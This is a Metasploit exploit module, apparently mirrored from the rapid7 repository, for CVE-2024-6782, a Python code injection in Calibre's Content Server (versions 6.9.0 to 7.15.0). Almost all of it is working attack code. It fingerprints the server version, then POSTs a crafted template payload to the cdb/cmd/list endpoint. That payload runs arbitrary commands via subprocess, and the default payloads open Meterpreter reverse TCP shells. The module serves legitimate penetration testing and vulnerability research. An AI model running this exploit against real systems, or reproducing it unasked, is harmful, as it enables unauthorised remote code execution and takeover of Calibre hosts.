Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/calibre_exec.rb
31166 views
1
class MetasploitModule < Msf::Exploit::Remote
2
Rank = ExcellentRanking
3
include Msf::Exploit::Remote::HttpClient
4
prepend Msf::Exploit::Remote::AutoCheck
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
11
'Description' => %q{
12
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
13
},
14
'License' => MSF_LICENSE,
15
'Author' => [
16
'Amos Ng', # Discovery & PoC
17
'Michael Heinzl', # MSF exploit
18
],
19
'References' => [
20
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
21
[ 'CVE', '2024-6782']
22
],
23
'DisclosureDate' => '2024-07-31',
24
25
'Payload' => {
26
'BadChars' => '\\'
27
},
28
29
'Targets' => [
30
[
31
'Windows_Fetch',
32
{
33
'Arch' => [ ARCH_CMD ],
34
'Platform' => 'win',
35
'DefaultOptions' => {
36
'FETCH_COMMAND' => 'CURL',
37
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
38
},
39
'Type' => :win_fetch
40
}
41
],
42
[
43
'Linux Command',
44
{
45
'Platform' => [ 'unix', 'linux' ],
46
'Arch' => ARCH_CMD,
47
'Type' => :nix_cmd,
48
'DefaultOptions' => {
49
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
50
}
51
}
52
],
53
54
],
55
'DefaultTarget' => 0,
56
57
'Notes' => {
58
'Stability' => [CRASH_SAFE],
59
'Reliability' => [REPEATABLE_SESSION],
60
'SideEffects' => [IOC_IN_LOGS]
61
}
62
)
63
)
64
65
register_options(
66
[
67
Opt::RPORT(8080)
68
]
69
)
70
end
71
72
def check
73
begin
74
res = send_request_cgi({
75
'method' => 'GET',
76
'uri' => normalize_uri(target_uri.path)
77
})
78
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
79
return CheckCode::Unknown
80
end
81
82
if res && res.code == 200
83
data = res.body.to_s
84
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/
85
86
version = data.match(pattern)
87
88
if version[1].nil?
89
return CheckCode::Unknown
90
else
91
vprint_status('Version retrieved: ' + version[1].to_s)
92
end
93
94
if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
95
return CheckCode::Appears
96
else
97
return CheckCode::Safe
98
end
99
else
100
return CheckCode::Unknown
101
end
102
end
103
104
def exploit
105
execute_command(payload.encoded)
106
end
107
108
def execute_command(cmd)
109
print_status('Sending payload...')
110
exec_calibre(cmd)
111
print_status('Exploit finished, check thy shell.')
112
end
113
114
def exec_calibre(cmd)
115
payload = '['\
116
'["template"], '\
117
'"", '\
118
'"", '\
119
'"", '\
120
'1,'\
121
'"python:def evaluate(a, b):\\n '\
122
'import subprocess\\n '\
123
'try:\\n '\
124
"return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
125
'except Exception:\\n '\
126
"return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
127
']'
128
129
res = send_request_cgi({
130
'method' => 'POST',
131
'ctype' => 'application/json',
132
'data' => payload,
133
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
134
})
135
136
if res && res.code == 200
137
print_good('Command successfully executed, check your shell.')
138
elsif res && res.code == 400
139
fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
140
end
141
end
142
143
end
144
145